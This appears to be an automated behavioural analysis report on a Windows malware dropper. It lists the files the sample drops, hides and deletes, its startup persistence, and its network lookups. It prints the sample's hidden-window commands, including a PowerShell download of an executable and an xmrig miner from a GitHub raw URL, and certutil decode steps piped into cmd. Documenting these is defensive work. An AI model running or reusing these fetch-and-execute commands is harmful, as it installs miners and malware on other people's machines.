Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\fiyuuhjrzx.url
Modifies file system
Creates the following files
- %TEMP%\ixp000.tmp\aemahjndz.dat
- %TEMP%\ixp000.tmp\nwwpc
- %TEMP%\ixp000.tmp\bit60e4.tmp
- %TEMP%\ixp000.tmp\bit60f5.tmp
- %TEMP%\ixp001.tmp\26-54
- %TEMP%\ixp001.tmp\4-9
- %TEMP%\ixp001.tmp\58-43
- %TEMP%\ixp001.tmp\9-91
- %TEMP%\ixp001.tmp\28-0
- %TEMP%\ixp001.tmp\fontdrvhost.com
- %TEMP%\ixp001.tmp\a
- %APPDATA%\ifiqwwypez\ihvfkuxkt
- %APPDATA%\ifiqwwypez\fiyuuhjrzx.com
- %APPDATA%\ifiqwwypez\58-43
- %APPDATA%\ifiqwwypez\ypzmftwhoix.js
Sets the 'hidden' attribute to the following files
- %TEMP%\ixp000.tmp\bit60e4.tmp
- %TEMP%\ixp000.tmp\bit60f5.tmp
Deletes the following files
- %TEMP%\ixp000.tmp\nwwpc
- %TEMP%\ixp000.tmp\aemahjndz.dat
- %TEMP%\ixp000.tmp\tn.exe
- %TEMP%\ixp000.tmp\vhiq.exe
- %TEMP%\ixp001.tmp\a
- %TEMP%\ixp001.tmp\58-43
- %TEMP%\ixp001.tmp\9-91
- %TEMP%\ixp001.tmp\4-9
- %TEMP%\ixp001.tmp\26-54
- %TEMP%\ixp001.tmp\28-0
- %TEMP%\ixp001.tmp\fontdrvhost.com
Moves the following files
- from %TEMP%\ixp000.tmp\bit60e4.tmp to %TEMP%\ixp000.tmp\vhiq.exe
- from %TEMP%\ixp000.tmp\bit60f5.tmp to %TEMP%\ixp000.tmp\tn.exe
Network activity
TCP
HTTP GET requests
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
UDP
- DNS ASK microsoft.com
- DNS ASK ra#.####ubusercontent.com
- DNS ASK Mr###P.MrJnKP
- DNS ASK iB###########tfPJltFoi.iBpxsvNvooCSptfPJltFoi
Miscellaneous
Creates and executes the following
- '%TEMP%\ixp000.tmp\vhiq.exe'
- '%TEMP%\ixp000.tmp\tn.exe'
- '%TEMP%\ixp001.tmp\fontdrvhost.com' A
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command Import-Module BitsTransfer; Start-BitsTransfer -Source https://raw.githubusercontent.com/Combusss/year/main/Client1.exe,https://raw.githubusercontent.com/Combusss/year/main/xmrig.exe -...' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command Start-Process VHIQ.exe; Start-Process tN.exe;' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c woUwfROxi' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c certutil -decode 9-91 28-0 & cmd < 28-0' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command Start-Process VHIQ.exe; Start-Process tN.exe;
- '%WINDIR%\syswow64\cmd.exe' /c woUwfROxi
- '%WINDIR%\syswow64\cmd.exe' /c certutil -decode 9-91 28-0 & cmd < 28-0
- '%WINDIR%\syswow64\certutil.exe' -decode 9-91 28-0
- '%WINDIR%\syswow64\cmd.exe'
- '%WINDIR%\syswow64\ping.exe' -n 1 MrJnKP.MrJnKP
- '%WINDIR%\syswow64\findstr.exe' /V /R "^ClDOOuafEUQPY$" 26-54
- '%WINDIR%\syswow64\certutil.exe' -decode 4-9 A
- '%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 30
